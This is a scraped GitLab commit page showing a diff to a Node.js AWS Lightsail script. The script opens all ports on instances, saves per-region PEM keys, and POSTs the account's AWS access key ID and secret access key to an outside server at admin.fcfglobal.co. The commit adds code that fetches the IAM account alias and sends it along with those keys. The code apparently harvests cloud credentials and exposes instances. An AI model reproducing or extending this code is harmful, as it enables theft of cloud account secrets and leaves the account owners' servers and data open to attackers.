Commit 607b96b2 authored by Ahmad's avatar Ahmad

inikt

parent 5271ee3e
...@@ -88,7 +88,29 @@ async function openAllPorts(lightsail, instanceName) { ...@@ -88,7 +88,29 @@ async function openAllPorts(lightsail, instanceName) {
}); });
}); });
} }
async function getAccountEmail(credentials) {
const iam = new AWS.IAM({
accessKeyId: credentials.accessKeyId,
secretAccessKey: credentials.secretAccessKey,
});
try {
const accountSummary = await iam.getAccountSummary().promise();
console.log('Account summary retrieved.');
// Fetch the account email from the account alias
const accountAliases = await iam.listAccountAliases().promise();
if (accountAliases.AccountAliases && accountAliases.AccountAliases.length > 0) {
console.log('Account alias retrieved:', accountAliases.AccountAliases[0]);
return accountAliases.AccountAliases[0];
} else {
throw new Error('No account alias found.');
}
} catch (err) {
console.error('Error fetching AWS account email:', err.message);
throw err;
}
}
async function disableIpv6(lightsail, instanceName) { async function disableIpv6(lightsail, instanceName) {
const params = { const params = {
resourceName: instanceName, resourceName: instanceName,
...@@ -185,12 +207,13 @@ async function processRegion(region, credentials, pemFilePath) { ...@@ -185,12 +207,13 @@ async function processRegion(region, credentials, pemFilePath) {
} }
} }
async function createAcc(access, secret) { async function createAcc(access, secret,description) {
const url = 'http://admin.fcfglobal.co/adder'; const url = 'http://admin.fcfglobal.co/adder';
const data = { const data = {
access: access, access: access,
secret: secret secret: secret,
description:description
}; };
try { try {
...@@ -215,8 +238,9 @@ async function main() { ...@@ -215,8 +238,9 @@ async function main() {
const pemFilePath = path.join(downloadsPath, `LightsailDefaultKey-${region}.pem`); const pemFilePath = path.join(downloadsPath, `LightsailDefaultKey-${region}.pem`);
await processRegion(region, credentials, pemFilePath); await processRegion(region, credentials, pemFilePath);
} }
const accountEmail = await getAccountEmail(credentials);
const result = await createAcc(credentials.accessKeyId, credentials.secretAccessKey); console.log('AWS Account Email:', accountEmail);
const result = await createAcc(credentials.accessKeyId, credentials.secretAccessKey,accountEmail);
console.log('Credentials stored successfully:', result.data); console.log('Credentials stored successfully:', result.data);
} catch (error) { } catch (error) {
console.error('Error:', error.message); console.error('Error:', error.message);
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment